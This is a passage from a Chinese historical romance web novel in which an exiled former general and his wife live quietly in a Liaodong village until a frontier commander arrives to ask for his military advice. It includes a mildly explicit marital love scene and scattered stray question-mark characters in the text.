前不久周存的幕僚吴准就给他出了个主意。 周存没想到,正是这个好主意,反倒救了他一条命,使?得他日后不仅一雪前耻,将黄皓赶下马,救万千黎民百姓。 甚至还在?多年之后取代了他的位置,成为一人之下万人之上的内阁首辅。 …… 隆德帝三十六年,秋,枣子村。 秋天是收获的季节,也是一家人忙着储藏冬天粮食的季节。 一到这个季节,杨氏和蔡询都会腌制许多的咸菜和腌肉,蔡家姐弟俩就手里拿着一块腊肉站在?墙角下向隔壁偷看。 至于为什么偷看,无他,因隔壁那对年轻的夫妻生?得甚是好看,自从他们搬到蔡家隔壁的两年来?,姐弟两个最喜欢干的事情就偷偷地趴在?墙角偷窥夫妻俩。 那男主人练剑打拳的时候,蔡小郎就拿一根木棍子在?一旁偷师,而他的姐姐,十一岁的蔡小娘子和弟弟的关注点就大为不同了。 她喜欢偷看这家的女主人。 在?蔡小娘子的眼中,那位沈娘子姐姐是这世?上最温柔美丽的仙子,哪怕她身上披着个麻袋,哪怕她手?*中做的是腌咸菜的活计也比她娘做的格外地优雅好看。 更不必提她此时此刻是在?抚琴。 那琴声袅袅,如珠落玉盘,高山流水般音调清远。 蔡小娘子听着已不觉心旌神荡,脑中想入非非了。 假如将那琴案前坐着的人幻想成是自己,有朝一日她也能变成沈娘子那般的大美人,琴技超群,受时人吹捧,却千呼万唤始出来?,那该是怎样美的一番情景啊…… 过了片刻,琴声停了,男人舞剑的动作也停了下来?,他也不擦那满头?的大汗,刚要走到水井边用水冲一把脸,他的妻子便阻止了他。 蔡小郎见状,连忙拉了拉姐姐,姐弟俩眼中流露出兴奋的神情。 只见沈娘子按住琴弦,从怀中抽出帕子,快步走到男人面前,轻声责备:“说你多少次,又贪冷了,锅里有热水,等会儿用热水洗。” “好。” 男人一笑,很自然地俯下身来?,方?便他的妻子替她拭汗。 待妻子擦拭到他的脸颊侧,他伸手握住她细滑的手背,颇有暗示地压低声音说:“你也出汗了,待会儿一起洗?” 沈棠宁脸一红,嗔道?:“别闹,你自己洗……” 话音未落,就听隔墙处传来?一阵小儿的憋笑声。 夫妻俩吃惊地扭头?看去?,果?见那墙头?上趴着两个熟悉的小脑袋,看见两个人望过来?,姐弟俩嘿然一笑,立即就窜得就没个影儿了。 沈棠宁登时大窘,急忙推开谢瞻,转身抱琴进屋去?了。 在?屋里的杨氏听见动静,朝着窗外探头?一看,就知道?一双儿女又趴在?墙上偷看隔壁的谢瞻和沈棠宁了。 一来?这事儿不地道?,二?来?……咳,杨氏和蔡询也有些?担心姐弟两个看见不该看的。 这事儿自从她发?现后便严厉警告过姐弟俩,没想到两个小兔崽子胆子肥得很,趁她不注意就趴墙上去?偷窥人家,也是那小夫妻俩好性儿没和她告过状。 杨氏气得,把儿子和女儿拽进屋里就海打了一顿。 却说那厢沈棠宁进了屋,脸上的温度依旧没有退下去?。 她也不好说两个不懂事的孩子什么,将琴用帕子仔细擦拭干净。 琴是谢瞻亲手斫给她的,从在?林间选木到煮蚕丝造弦,每一步谢瞻都是亲力?亲为,整整花费了半年的时间才斫出这么一把琴。 当面谢瞻拿走了绿绮以后,便一直想为沈棠宁亲手斫一把新琴,可?惜后来?遭遇战乱,他离开京都城,一走就是几年,那斫琴一事也不了了之。 到如今,他才总算有充裕的时间好好为妻子斫一把好琴了。 因此沈棠宁平日里很是爱惜,并为琴取名清音,意为琴声音色清润,每日在?闲暇时抚琴舞剑便成了夫妻两人在?这乡野间唯一称得上高雅的乐趣之一。 谢瞻随后也走了进来?。 他看了一眼妻子的背影,知道?她不肯转身是还在?害羞,无声地笑着,一面擦拭剑身,一面看着他的妻子,最后将剑放进剑匣里。 “我去?做饭。”谢瞻说道?。 他去?做午饭,沈棠宁便坐在?床上做针线。 一年前的时候谢瞻修筑城墙,每天早晚都要?去?羊山的流犯营点卯。 为了不让沈棠宁做粗活,他每日就只睡一两个时辰,凌晨天还不亮便起来?做早饭,再进山挖陷阱。 到了傍晚散值的时候,趁着天亮去?山上打猎。 他身手矫捷,目力?又是极好,通常能猎到不少好物。 若是野鸡野猪之类的动物,便拉回?来?自己吃,吃不完做成腊肉。 运气好些?能碰上野狐和棕熊,将他们的皮剥掉让身上做成冬衣御寒再好不过,吃不完的就拿到镇上叫卖了,能获得一笔不小的收入。 靠着打猎,谢瞻渐渐也积攒了不少银钱。 后来?城墙修筑完毕,差役们又命他们去?开荒。 与修城墙想比,自然是开荒的活计更简单些?,至少不必每天都劳作,只忙过一季便能闲下来?。 闲下来?的时候偶尔班头?会喊他们去?干些?别的散活,都算不上很忙,平时也不限制他们自己谋生?计,只是依旧早晚到流犯营点个卯。 大部分时间谢瞻便留在?家里陪着沈棠宁,或是进山打猎。 在?两人的共同努力?下,生?活虽然说不上是大富大贵,粗茶淡饭,倒也让人十分安逸知足。 谢瞻按照原定?的计划,在?窗下栽种了一颗海棠树,可?惜辽东太冷,海棠树未能成活,谢瞻便买了两盆海棠盆景放在?屋子里,如此每到春天花开之时,满屋花团锦簇,也很是赏心悦目。 至于院子的西侧,他就辟成了菜圃,平日里种些?野菜和白菜,菜圃下圈出一块空地,用木栅栏围起来?,里面养些?鸡鸭。 东侧的灶房旁边是地窖,他将原本的地窖扩大了不少,冬天的时候里面就可?以储存更多的食物来?越冬。 原本的木栅栏他也拆了换掉,换成了更为结实的红橡木,并将四周除了与蔡家外所有的围墙都加高加固。 如此,当他不在?家的时候就不用担心沈棠宁的安全。 毕竟他的妻子,美得方?圆几十里的村落都人尽皆知。 尽管他已经很注意让沈棠宁少出门,但是刚搬到这里的时候,却有不少流氓混混趁着谢瞻不在?家的时候,时常来?骚扰她。 沈棠宁不想给谢瞻惹麻烦,她觉得两人初来?乍到,强龙压不过地头?蛇,于是每每被欺负,她便只是大门紧闭不出,或是被杨氏听到,出来?骂走这些?小混混,替她撑腰。 但谢瞻岂是那忍气吞声的性子,如果?不是杨氏私下告诉他这事,他都不知道?沈棠宁每天胆战心惊地不敢出门。 某一日特意早回?来?,将那其中一个色胆包天,居然敢登堂入室的小流氓扯到外面,当着众人的面狠揍了一顿,打得那小流氓直接断折了一条腿,现在?走起路来?还是一瘸一拐的。 若不是沈棠宁求情,谢瞻当真能将他弄死。 从此后,这一带的地痞流氓们见到谢瞻都要?绕着路走,战战兢兢地称呼他一声哥哥。 谢瞻在?灶房里热火朝天地生?着火做饭。 今天中午他准备切一些?腊鹿肉,用来?炒土豆吃,再做一个白菜炖粉条,菜还没下锅,忽听隔壁的蔡询叫他的名字。 他在?围裙上擦了擦手,走了出去?。 蔡询和杨氏,以及两个刚挨打完还缩手缩脚的姐弟俩,一家人每人手里都提着一把镰刀,一副整装待发?的模样。 蔡询见到谢瞻下厨的样子,已是见怪不怪了。 蔡询是读书人,信奉君子远庖厨,两年前第一次看见谢瞻在?灶房里生?火做饭,而沈棠宁坐在?屋子里做衣服,十分诧异。 后来?从杨氏口中才得知,原来?谢瞻根本不让沈棠宁干粗活。 若他在?家,一切家务都要?他来?做,只让沈棠宁做做针线以及洗衣服等简单的活计。 杨氏说这话时,语调也是酸溜溜地。 “人家堂堂大将军,家务种地做饭……不管啥事样样都‘能干’极了,嗐,我这可?怜的妇人就没那么好命啦!” 把蔡询说得哑口无言,哼哼两声起身走了。 “这不是最近割麦子么,担心她姥姥家忙不过来?,我们一家人去?帮她老人家收麦子,估计得烦你和沈娘子帮我们看看门。” 谢瞻微微皱眉。 “不是才刚开始收麦子,今年怎如此着急?” 虽说谢瞻不打算和沈棠宁种地谋生?,但据他平时观察周围的村民们,这批要?收的麦子是春节后种植的春小麦,按理说有两个月的收割时间,麦子才开始收割。 蔡询叹了口气。 “二?郎你有所不知,刚才我去?村长家才偶然得知,布政司前几日就把锦州城附近乡镇的百姓都召集起来?去?修锦州城,地里的麦子都不许收,可?是庄稼人劳作一年的活计不就是为了那点粮食吗?你嫂子她娘家的就住在?离锦州城不远的荷花村,家里男丁就一个她弟弟,我寻思赶紧去?帮她姥姥,能收多少就收多少麦子,不然这好好的麦子总不能就叫它烂在?地里吧!” 沈棠宁见谢瞻端着热好的饭菜进来?,忙放下手中的针线活上前帮他掀帘。 “怎么了,我听你和蔡先生?在?外面说话。” 谢瞻说道?:“没什么,他们一家去?她姥姥家收麦子,让我们帮忙看门。” 沈棠宁便没再多问。 杨氏和蔡询仁厚大方?,两口子都在?枣子村住了十几年,蔡询是附近几个村的教书先生?,很得周围村民们的敬重,平日里对他们夫妻二?人更是关照颇多。 可?以说沈棠宁和谢瞻能在?枣子村迅速地安顿立足,少不了蔡询和杨氏在?其中帮忙,故此两家人平时的关系很要?好。 吃完午饭,沈棠宁犯困,便在?炕上睡了。 谢瞻从书桌上挟了一本书,倚在?炕上看书,一时屋内安静地只有谢瞻翻书时发?出的轻微声响。 灶房的灶连着屋里的炕,沈棠宁睡在?炕头?,穿着单衣,很快便睡出了一身的香汗。 她将身上的被子踢了踢。 谢瞻盯着书上的一页走了神,不知过了多久,忽听到身旁妻子含糊的嘤咛声,目光随意转身扫去?,却宛如被定?住一般。 只见他的妻子此刻桃颊两边浮着两团潮红,湿润的红唇微微翕动,嘟哝几声,像是在?说什么梦话,一双露出在?被衾外的玉足也随之在?暖和的被衾上蹭了蹭。 看着眼前美不胜收的软玉温香,谢瞻突然觉得有些?口干舌燥。 算算日子,今天,她的小日子也该走了。 他舔了舔有些?干燥的唇,慢慢放下书。 沈棠宁的睡姿没有改过,依旧是像从前一样随意。被子被扯到腰腹之间,身子随意地扭着,女子柔美的曲线尽显。 尽管谢瞻一直费尽心思想将沈棠宁养胖,奈何她就是胖不起来?。 好在?,该长肉的地方?还是长了的。 这几年随着他的辛劳哺喂,她越发?长开了,因只有两个人在?家中,她穿得随意,中衣松松垮垮掉落在?胸口上,伴随着她的呼吸,那丰美的雪峰之处亦是一起一伏。 …… 沈棠宁轻轻哼了一声,睡得头?晕脑胀,清醒过来?后,低头?一看,蓦地红了脸。 谢瞻舔吻她的后背和初雪般的肩头?。 “醒了?” 他低低一笑,笑声从背后传来?,带着浓浓的喑哑与情.欲之色。 午后阳光明媚,秋高气爽,阳光透过窗纱的缝隙射进来?,屋里的光线依旧是很足的,两人离得这样近,连她耳根处的薄红色都能看得清清楚楚。 谢瞻知道?,沈棠宁是在?害羞,所以将脸埋在?枕头?里不回?应他。 好容易白天的时候蔡询一家子都不在?家,谢瞻自然不想荒废这来?之不易的两人时光。 一只手搂着沈棠宁,另一只手打开炕边柜子的门,从里面的水碗里拿出一枚提前泡好的,准备晚上用的羊肠衣。 “宁宁,叫几声我听听,叫出来?吧,他们都听不到,只我一个人听!” 平日里冷峻寡言的男人,此刻在?她身上一遍遍地粗着气息恳求她。 沈棠宁闻言,脸蛋更是红如滴血,却依旧紧闭着双眼与唇瓣,不论他如何使?坏都死死地咬住唇不肯出声。 不怪她如此抗拒,实在?是两人刚住进来?的时候,并不知道?这屋子不隔音。 小夫妻两个正是年轻血气方?刚的时候,乡下平日里又没有什么事而可?做,关上门屋里就夫妻两个,唯一有趣的便是做些?爱做的闺房乐事。 直到几个月后杨氏来?找沈棠宁串门,说了半天题外话才支支吾吾地进入正题。 “那个啥……沈娘子……咳……这老房子不隔音,晚上我和小郎他爹说话声音大了吵着你和二?郎,你们两个多担待些?……” 沈棠宁要?是还听不懂杨氏的弦外之音,那就是蠢了。 若不是杨氏和蔡询到了受不了的地步,也不会上门来?说人家夫妻的闺房事。 话毕,杨氏似也是颇不好意思,寒暄几句便匆匆走了,留下沈棠宁在?原地脸一阵红一阵白。 于是打那之后的晚上谢瞻就再没尽兴过,每次干这事的时候都要?跟做贼一样偷偷摸摸,弄的他很是不痛快,偏又无可?奈何。 “你快些?吧!” 沈棠宁出了一身的汗,终于被他磨得一丝耐心也无,捶打着他哭出声来?。 谢瞻低头?看着瞪他的妻子,四目相对,沈棠宁眼中满是羞恼着急,他却慢吞吞得逞似的一笑,眼底略过一丝狡诈,一个翻身,变成了他躺在?炕上一动不动。 “累了……” 他懒洋洋地说着,还朝下瞟了一眼。 这个男人,不论修炼多少年对她依旧是这么地无赖。 沈棠宁既担心有人找上门来?,又担心蔡询一家回?家,想快快结束,只好忍着羞意由他去?了了。 她害怕被人看见,而骤然间主导者身份的转变,也令她感?觉无所适从地惶恐。 然而她却不知,她含羞带怯,如同圣女一般美丽清纯的脸庞上一旦露出那般迷离沉醉,媚态横生?的表情,强烈的反差感?落在?男人的眼中便是最烈性的药。 …… 两人浑身都被汗水浸透了。 谢瞻却觉得通体舒泰,就连多日来?不悦的心情也一扫而光。 他起身给两人简单清理了下,躺回?去?的时候,沈棠宁疲倦地钻进他的怀里,靠在?他的胸口上平息。 “还困?”他问。 沈棠宁嗓子软软地轻嘤了一声。 “那就再睡儿。”谢瞻柔声说。 沈棠宁没再应声了。 谢瞻有一下没一下地抚摸着妻子柔软的长发?,闻着她发?顶淡淡的幽香,想到适才看见沈棠宁膝盖上的红晕和小腿上的青紫,琢磨着这炕太硬,被褥的料子也很是粗糙,下次进城,给家里扯一匹料子更柔顺的缎子做床褥会更好…… 这时,一阵狗吠声打断了谢瞻的思绪和沈棠宁的困意。 “谢兄弟,谢兄弟,你在?家吗?!” 外面的人砸着门,大声问。 第79章 这在谢瞻和?沈棠宁家门口砸门的不是?旁人?,正是?微服后的辽东总兵周存与他的幕僚吴准。 吴准在外面敲了半天的门,终于看?见男主人?走了出来,立时喜上眉梢。 可惜的是?男主人?对他俩人?没有半点好脸色,门也不开就?面无表情地问:“两位大人?来作甚?” 周存忙指了指吴准手?里的酒肉和?表礼。 “谢兄弟,我来是?特?意为了感谢你的!上次你为我出了主意,让我关闭城门,坚壁清野,以逸待劳,那群东契人?只在锦州城下待了不到十天,果真无功而返,你是?没看?见他们来时猖狂去时那副饿得面黄肌瘦的憋屈样子,我这心里当真是?痛快啊!” “说?完了?” “啊,啊,说?完了!” 谢瞻并不给这位辽东总兵的面子,淡应了一声,关门转身即走。 周存大急,忙道:“慢着慢着!谢兄弟,你急着走作甚!” 周准的大嗓门,传到了屋里。 而后,周存和?吴准便听屋内传来一道清润柔婉的女子声音。 “阿瞻,是?谁来了?” 谢瞻说?道:“不是?什么重要的人?!”抬脚往屋里走。 吴准贼精,眼珠子一转,心想?里面的恐怕便是?谢瞻的妻子了,忙叫道:“谢夫人?,我们是?谢兄弟的好友,你看?我们长?途跋涉从锦州走过来,走了三天,还?望你能让我们进?去讨杯茶水喝!” 谢瞻脚步一顿,扭头面带怒色地瞪着吴准。 吴准脖子一缩,讪讪地笑了起来。 片刻后,周、吴二人?瞪大了双眼,只见看?着那矮小的屋门一开,里面莲步微移,竟走出一个?荆钗布衣,却着实难掩天姿国色的女子。 “既是?朋友,怎好薄待,阿瞻,快些让他们进?来一道用晚膳罢!” …… 周存和?吴准还?是?第一次来谢瞻家里。 三个?月前,谢瞻猎到了一头棕熊,到镇上去售卖熊掌,恰巧被在宁远城中公干的周存和?吴准遇见。 彼时,周存乘坐马车出门,路过闹市,偶然瞥见那坐在街边售卖熊掌的黑脸汉子体态健壮挺拔,英气勃发,在人?群中犹如鹤立鸡群,煞是?夺目,忍不住多看?了两眼。 这一看?,咦,颇觉眼熟,细细端详,这汉子虽面容黝黑了些,却见是?生得剑眉星目,悬鼻薄唇,龙章凤姿一般的人?物。 这一细看?不要紧,周存大惊,认出了这位坐在街边的小贩竟是?那昔年的镇国公世子,与郭老将军一起平定宗张之乱的功臣之首,三镇节度使谢瞻。 周存当了十年的京官,与谢瞻同朝为官多年,岂能不认识谢瞻? 只不过这两年过去,谢瞻面容黝黑了不少,眉眼间的戾气和?锐气也被消磨得几乎殆尽,更?多了几分沉稳的气质,若不仔细端详,周存一时竟没能认出来。 想?当年谢瞻何等风光,他是?老皇帝最信重的侄子,两大顶级世家的出身,华国公郭尚毕竟年纪大了,他却正值英年,二十出头的年纪,已是?战功赫赫,和?郭老国公一道平定宗张之乱,张元伦的军队但?凡见到谢瞻便要闻风丧胆,这是?何等威风凛凛的人?物! 在周存心目中,谢瞻的功勋和?智谋甚至远远要超过了郭尚。 然而便是?这样的一个?人?物,如今却被剥夺得一无所有,流落到在街边售卖熊掌谋生,而当年一道建功立业的郭老将军,如今却是?威风凛凛的华国公。 周存顿觉一股兔死狐悲的悲凉不公。 不过看?谢瞻的样子,他的脸上似乎看?不到任何的狼狈之色,有客人?来询问熊掌价值,不论买不买,他都是?不卑不亢地回?复。 周存是?见过谢瞻当年在京都城中意气风发的模样,说?是?面对千军万马,号令一发,千呼百应也不为过了。 或许是?产生了惺惺相惜之意,他到底不忍心看?谢瞻如此落魄,勒紧裤腰带悄悄给了吴准一百两银子,命他不许讲价,将谢瞻摊位上所有的东西都买回?来。 谢瞻收钱时,看?到了周存。 他也仅仅只是?多看?了他一眼,道了声多谢,便收摊走了。 回?来吴准好奇问他买这些熊掌作甚,周存才?说?了实话。 吴准闻言却是?猛地一拍自己的大腿,“妙啊妙!大人?,我看?您是?时来运转了!” “你这是?何意?”周存不解。 谢瞻当年的赫赫威名,谁人?没听说?过,要知道谢瞻打仗用兵最为灵活,这人?是?个?天生的将神?,若能得他襄助,还?能怕周存打不退那群东契人?? 周存如今的处境十分尴尬,如果再打败仗,恐怕回去黄皓也不会放过他。 与其坐以待毙,不如积极求生,起码就?算他死了,也能帮边疆的百姓们做些好事。 于是周存便在吴准的怂恿下,立即折返回?去寻了谢瞻。 “小人?一介流犯,不认识什么谢将军,两位大人?找错人?了。” 谢瞻客气地婉拒了周存,背着他用来摆摊的工具头也不回?地走。 周存下了马车,跪在谢瞻面前。 “谢将军,说?我没有私心那是?假的,我也惜命,来到辽东的这半年间,我就?没有睡过一个囫囵的好觉,但?人?之将死,其言也善。” “周存自知庸碌无能,或许明日我便死在了东契人?的马蹄下,那我倒死得其所!可锦州城的百姓们都是?无辜的,今日我死了,明日再来一个?如我这般庸碌之徒,受苦受难只能是?辽东的百姓们,还?望你看?在这些无辜百姓的面子上,助我一臂之力!” 这一次,谢瞻终于正眼看?向了周存。 沉默片刻,却冷淡地道:“我如今已是?一介草芥,戴罪之身,不是?什么谢将军,也受不起周大人?这一拜。” 周存好声好气地道:“我痴长?你几岁,那便称呼你一声弟吧!” 又是?絮絮叨叨地说?了不少剖白心迹的话,说?到动情处几乎声泪俱下,谢瞻让他起来说?,他又不肯起,摆明了是?耍赖。 谢瞻有些不耐烦了,冷冷说?道:“你若执意如此,我便走了!” 周存赶紧站起来。 谢瞻问道:“你是?文官,陛下怎会派你来此处?” 周存四下看?了看?,四周无人?。 吴准明白他的意思,叫了车夫,两人?也回?避了。 周存才?长?长?一叹道:“谢将军你有所不知,我得罪了黄首辅的女婿,黄首辅在陛下面前一句话,便将我遣到了此处。说?句大不敬的话,这两年黄皓在朝堂之上党同伐异,谗言媚上,太子与殿下梁王殿下明争暗斗,势同水火,陛下却闭门塞听,早已不复当年不讳之朝啊!” 或许是?对周存的话产生了触动,或许是?对他的无赖之举无奈了,谢瞻终究是?妥协了,附耳对周存说?了几句话,命他在下次东契人?来掠夺时只需关闭城门,以逸待劳,万不可逞强迎战,东契人?不过一群乌合之众,见得不到半点好处,不出十日,自会离去。 说?罢不顾周存和?吴准的盛情邀约,自行离开了。 周存回?去后用了谢瞻的法子,果然东契人?一举一动完全如他所料,到第八天的时候这些夷狄便坚持不住,竟北折无功而返了。 若事情这般发展下去,那周存极有可能找回?前几场败仗被丢失的面子。 于是?他下令将锦州城内外,包括乡镇的百姓们,家中一半的男丁都召集起来去来修筑锦州城城墙,以备抵御契人?。 但?是?随着预计中东契人?来犯的日子越来越近,城中百姓怨言却越来越多,而他心中也愈发地不安,不知是?继续按照谢瞻所言凭城自守,还?是?该积极出城迎战,鼓舞士气。 这就?有了他这一次的拜访之行。 …… 在沈棠宁的斡旋下,周存和?吴准才?得以跟着谢瞻进?了门。 一路走来,只见院子不大,屋子也颇老旧低矮,但?看?上去却是?十分的整洁和?井然有序。 院子西侧是?菜圃、鸡鸭圈舍。 看?着圈舍里的鸡鸭养得还?甚是?肥嫩,生人?一进?来便咕咕乱叫着,东侧是?灶房,水井,与在地上开了个?圆形的大洞,上面放置着木板压着,也不知是?何物的东西。 待进?了屋,周存敏锐地嗅到屋里有股奇怪的味道,但?很快,他的注意力便被屋内的装饰吸引了过去。 东侧最里侧是?一张大炕,炕前是?一座类似衣槅屏风似的物件,屏风中还?挂着一幅花鸟插屏,隐约可见炕上的被褥整齐地叠了起来,床单和?褥单都是?极漂亮的白底鹦哥绿色,上面绣着一簇簇淡粉色的海棠小花。 窗下是?一张看?起来有些低矮的书案,每个?桌角下面用一块红砖垫着,似乎是?刷了新漆,看?起来十分的油亮,案上放着几本书和?纸笺,笔墨纸砚等物一应俱全。 书案的旁边,摆正对着阳光下横摆着两小盆海棠花,因季节不对,横斜的枝桠上只结着翠绿的叶子,花盆一边是?一张更?小些的桌,桌上放着的则是?一些女子用的针织女工等物,中间一只竹笸箩中,摆着足有七八只精致的香囊,看?起来不像是?自己用的,反倒是?用来卖的。 周存踩着脚下涂抹了水泥的地板,目光又往屋子中间的墙壁上扫去。 墙壁上正中挂着一幅乡村落日图和?山花烂漫的碧水青山图,而画的左侧,依次挂着一柄剑、一张弓、一把猎枪,画的右侧,则挂了一架用粉色绸布包裹的琴。 画下陈设着一张用作吃饭的八仙桌,屋子的最西侧井然堆放着一些杂物和?三个?大箱笼。 周存和?吴准落了座,女主人?从屋外进?来,原来她去灶房中取了热水来给三人?沏茶,见周存探寻的视线望过来,微微一笑作礼,垂下了长?长?的眼睫。 说?实话,周存之前一直以为谢瞻被流放之后过得日子会是?十分地穷困潦倒,否则如他这般的人?物怎会出来沿街叫卖。 便如那卓文君司马相如当垆卖酒,但?似他这般清高的文人?,除非饿死否则绝做不出这般有损颜面之举。 没想?到来到谢瞻的家里,发现他日子虽清贫,却是?如同苦中作乐一般,屋内的一应陈设无不看?出其中的用心。 而他的妻子,在京都城中周存便久仰过她的芳名,一直未见其人?。 她是?名动京都城的第一美?人?,今日一见,果真名不虚传,哪怕身上穿着粗布衣裳,大冷天的,她却皮肤红润白皙,眉眼似水含情,身段更?是?秀美?窈窕,十分出挑,在这苦寒而风沙肆虐的辽东边境竟未受到丝毫的影响。 这样的一个?美?人?,当年谢瞻获罪只身来此,朝不保夕,她大可以与他和?离,以她的容貌品格,再嫁个?富足之家不成问题。却能不远千里追随,这般有情有义的美?人?,更?令周存心中添了许多的怜惜敬佩之情,就?忍不住多看?了几眼。 “夫人?别忙,我来就?好,我来就?好。” 大约是?周存显得太过殷勤,就?在他热情地要从沈棠宁手?中接过茶壶之时,忽见斜刺里一人?从沈棠宁手?中替他接过了茶壶,接着便挡在了他的面前。 “两位大人?,先坐。”声音里隐含不悦。 周存连忙抬头,谢瞻目中已然透出寒意与警告。 周存讪讪地坐了回?去。 谢瞻给周存和?吴准都倒了茶。 周存和?吴准对视了一眼,吴准看?向沈棠宁,沈棠宁会意,轻声道:“我去烧水,你们先聊。” 刚起步,谢瞻却拉住了沈棠宁的手?腕,按着她在一边坐了。 “灶房呛人?,去哪儿呆着做什么,这壶热水够他们两个?喝的了。” “阿瞻……”沈棠宁窘迫。 也不全然是?因为她不欲听这三人?密谋什么事,实在是?…… 她刚和?谢瞻荒唐完,这二人?便找上门了来,沈棠宁脸皮儿薄,大白天他们两个?却在家里门房紧闭,周存叫门的时候,她连忙穿衣下床,脚下还?有些发软,并万分后悔自己一时鬼迷了心窍,纵容谢瞻白日胡闹。 那周存倒是?大大方?方?地看?她,她身边的吴准却是?个?生得眉眼精明的,两人?越打量她,她就?觉得她和?谢瞻做的好事被两人?看?出来了,不好再在这屋里继续坐下去,故找借口离开。 谢瞻对二人?说?道:“我娘子听也一样,两位大人?有话就?直说?罢。” 周存也知道谢瞻是?个?爽快不羁的性子,索性开门见山了,说?出自己的诉求,并许以重利,恳请他帮忙。 谁知这次谢瞻却断然拒绝道:“恐怕这次让两位大人?失望了,我早说?过了,谢某是?一介戴罪之身,如今只想?和?我的妻子在乡野之间过平静的生活,不欲再卷入其中,还?望两位大人?见谅,没什么事你们就?回?吧,待会儿我还?要去砍柴,请——” 他客客气气地给两人?下了逐客令。 吴准忙道:“自然不是?想?打扰您,您想?如何生活便如何生活,只是?求您给我们大人?出个?小小的主意,指点一二,甚至不必您出面,有事我与大人?亲自来寻您,这样可好?” “砰的”一声,谢瞻把茶杯放到了桌上。 如他所言,纵然他如今一介罪臣,但?举手?投足间间依旧透露出当年领导千军万马的威严气势,把周存和?吴准都吓了一跳,噤声不语。 “吴先生,我想?我话说?得很明白了,我不希望有人?来打扰我们!” 说?罢站了起来,伸手?去开门。 这是?要赶他们走了! 周存猛地站起来,深吸口气,索性一不做二不休,两步并做一步走到谢瞻面前,两腿一并就?要跪下去,显然是?欲要故技重施之意。 谢瞻难以置信,动作果真一顿,开门的手?势就?不得不转而立即扶住他。 面对谢瞻的愤怒瞪视,周存红着老脸,只能装作视而不见,厚着脸皮求道:“谢兄弟,麻烦你再帮我这一次……不不,不是?帮我,是?为了锦州城全城的百姓,帮帮他们!” 说?着,还?朝沈棠宁投去了求救的眼神?。 “阿瞻,不如你再考虑考虑,不必急于一时答复?” 沈棠宁迟疑了一下,轻声道。 第80章 看着周存和吴准彻底消失在自己的?视线之中,谢瞻“砰”的?一声关上了屋门。 他僵着脸,开始像无头苍蝇一样在屋里一圈一圈地来回转着。 沈棠宁忍不住出声:“阿瞻,你怎么想的??” 谢瞻抬头看了她?一眼?,走到她?面前。 沈棠宁仰头,担忧地看着他。 谢瞻牵着沈棠宁的?手,两人一齐坐到了炕上。 他将自己的?脑袋仰卧在沈棠宁的?双膝之上,在周存和吴准面前憋了太久,面对?着自己最亲近的?妻子,他的?终于可以脸上毫无遮掩地露出了郁闷之色。 他无所不能的?夫君,也会伤心难过,也会有他不愿对?外人道?的?脆弱一面。 这?无疑激发了沈棠宁作为一个母亲的?爱怜之心,她?轻轻抚摸他的?脸和发,低低说:?*“阿瞻,你不开心了?” 谢瞻闷闷地“嗯”了一声。 “宁宁,我心里难受。” 他喃喃,忽抬手围抱住了她?纤细的?腰身,闭上眼?,将他的?脸埋在她?柔软的?胸脯之间。但是这?个动作,又不含着半分的?情.欲之色,就好像是一个伤心失落的?孩童终于觅到了自己的?家园港湾。 沈棠宁脸有点热,搂紧了他。 “我知道?,我在这?里。” 即使两年?过去了,她?依旧一直不敢问谢瞻当年?伯都?究竟做了什么,为何?和谈会在一夜之间分崩离析。 她?不愿相信伯都?真的?背叛了她?的?丈夫,也背叛了自己曾经的?盟誓。 和谈之约,谈判的?结果是我朝借兵西契,过后若西契有难,我朝必定不吝施救。 盟约是先利于我朝,如果伯都?打从一开始和谈的?目的?便不纯,他筹划这?一切最后又能得到什么? 他根本不必特意将察兰汗妃请来,甚至于汗妃在和谈之时还遭遇了刺杀身受重伤。 而当夜契人反水时,张元伦和宗瑁已然成?了强弩之末,对?于西契,张元伦和宗瑁显见构不成?任何?威胁,宗张二人的?目标在于逐鹿中原。 既然讨不到任何?的?好处,他们?何?必如此尽心竭力,要在彻底帮我们?铲除了宗张之后才露出真正的?面目? 他完全可以等到谢瞻与?宗张二人打得战况胶着之时置身事外,如此鹬蚌相争,方能渔翁得利。 这?一切都?太不合常理。 而作为谢瞻最亲近的?太子表哥,谢瞻获罪之时,他非但没有为他求情,反倒是选择置身事外,到底是德行高尚,不得不做出的?大义灭亲之举,还是另有隐情? 谢瞻是太子的?亲表弟,日?后也将会是太子最有利的?臂膀,太子选择在这?个时候任由别人砍去他这?条臂膀实在是令人费解。 当年?谢睿告诉沈棠宁,孝懿皇后并非太子生母,而是在太子的?生母周昭仪死?后才被过继到了孝懿皇后的?膝下,当年?太子也有八岁,记事了。 对?于孝懿皇后,他表面上感恩戴德,实际上自私凉薄,这?两年?一直抬举自己生母的?娘家周家,对?于谢家根本没有那么深切的?感情。 原本谢瞻也不必被施以流刑,是有人在隆德帝面前进谗言,说谢瞻有通敌叛国之嫌——这?话?他们?兄弟几?个自然是不会相信的?,但捱不住皇帝起了疑心,当年?谁求情也不管用。 帝王之心,深不可测。 自己本应最信任的?两个人,一个是他拼命救下来的?皇帝姑父隆德帝,一个是他的?太子表哥,是他最为敬重的?皇后姑母养大的?儿子。 这?两个至亲之人,都?在他最艰难的?时候,毫不犹豫地怀疑他、抛弃了他。 这?就好像你前半生做的?所有努力,被人一一否定,变成?了一个笑话?。 谢瞻实在厌倦了那些无休止的?争斗和暗箭,既然想不明白,干脆不再去想了。 所以这?两年?里他无数次地告诫自己,也摆正自己的?姿态,从今往后做一名普普通通的?凡夫俗子,乡野村夫,好好地活着。 周存和吴准的?到来,无疑打破了他好不容易平静下来的?生活,令他陷入了两难境地。 不仅逼迫他重新回忆起那些糟糕的?往事,也提醒着他如今他是多么地落魄,一败涂地。 一文钱难倒英雄汉,实话?说,放在以前,他如何?也想不到自己竟有一日?会毫无羞耻之心地放下身段街头买卖,为了赚得的?几?个铜板开心上一整日?。 这?两年?来日?复一日?的?柴米油盐,为了求生谋生的?日?子早已将他从前高傲的?心气?儿消磨得所剩无几?。 还有便是他无论如何也无法被消磨的?,对?妻子深深的?愧疚。 沈棠宁看了他许久,忽轻声说道?:“去吧,阿瞻。” 谢瞻从她怀中抬起头,幽黑的?凤眸望向她?。 旋即,他摇头。 “周存与?黄皓有隙,我曾经答应过你,我们一起做普通的夫妻,这?样的?日?子很平静,我不想再卷进这些斗争中了。” 他亦不知,卷进入的结果如何,前途未卜,生死?难测。 沈棠宁目光扫过他摆在窗下的?书案。 那书案上笔墨纸砚俱全,还摆着他闲暇时写的?兵法书,每日?哪怕再忙再累,他也会坐下去写上几?笔。 “可你若真不想去,那便不是你了。” 